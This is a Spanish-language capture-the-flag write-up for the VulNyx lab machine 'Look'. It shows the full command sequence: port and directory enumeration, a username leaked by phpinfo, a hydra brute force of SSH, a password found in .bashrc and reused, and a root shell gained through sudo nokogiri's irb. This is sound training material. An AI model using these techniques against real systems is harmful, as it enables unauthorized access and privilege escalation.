cd ~/blog

~/writeups/vulnyx/09-look.md

09 - Look

low Linux vulnyx 21-05-2024
Username disclosure via phpinfoWeak SSH PasswordCredential reuse (.bashrc)sudo nokogiri Privesc
vulnyx.com

~1 min de lectura


Enumeramos puertos y directorios:

 sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.85
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.85
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-21 20:00 -04
Nmap scan report for 192.168.1.85
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds
 gobuster dir -u 'http://192.168.1.85' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif -r
...
/index.html           (Status: 200) [Size: 10701]
/info.php             (Status: 200) [Size: 69372]
/javascript           (Status: 403) [Size: 277]
/look.php             (Status: 200) [Size: 75]
...

El archivo info.php (un phpinfo()) filtra el usuario bajo el que corre el servicio web, axel:

...
User/Group	axel(1000)/1000
...

Con ese usuario lanzamos fuerza bruta contra SSH:

 hydra -l axel -P ~/Documentos/wordlists/rockyou.txt 192.168.1.85 ssh -t 64
...
[22][ssh] host: 192.168.1.85   login: axel   password: bambam
...

Nos conectamos con axel:bambam y obtenemos la primera flag:

 ssh axel@192.168.1.85
axel@192.168.1.85's password: bambam
axel@look:~$

Para escalar, inspeccionamos los archivos del home del usuario y, en .bashrc, encontramos una contraseña de otro usuario expuesta en una variable de entorno:

axel@look:~$ cat .bashrc
...
export dylanPASS="bl4bl4Dyl4N"
...

Reutilizamos esa credencial para movernos al usuario dylan:

axel@look:/tmp$ su dylan
Contraseña: bl4bl4Dyl4N
dylan@look:/tmp$

Comprobamos los permisos sudo de dylan:

dylan@look:~$ sudo -l
Matching Defaults entries for dylan on look:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dylan may run the following commands on look:
    (root) NOPASSWD: /usr/bin/nokogiri

Podemos ejecutar nokogiri como root sin contraseña. nokogiri (la gema de parseo XML/HTML de Ruby) abre una sesión interactiva de irb, desde la cual podemos ejecutar comandos del sistema con privilegios de root:

dylan@look:~$ sudo /usr/bin/nokogiri /etc/passwd
Your document is stored in @doc...
irb(main):002:0> system 'whoami'
root
=> true

irb(main):003:0> system '/bin/bash'
root@look:/home/dylan#

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados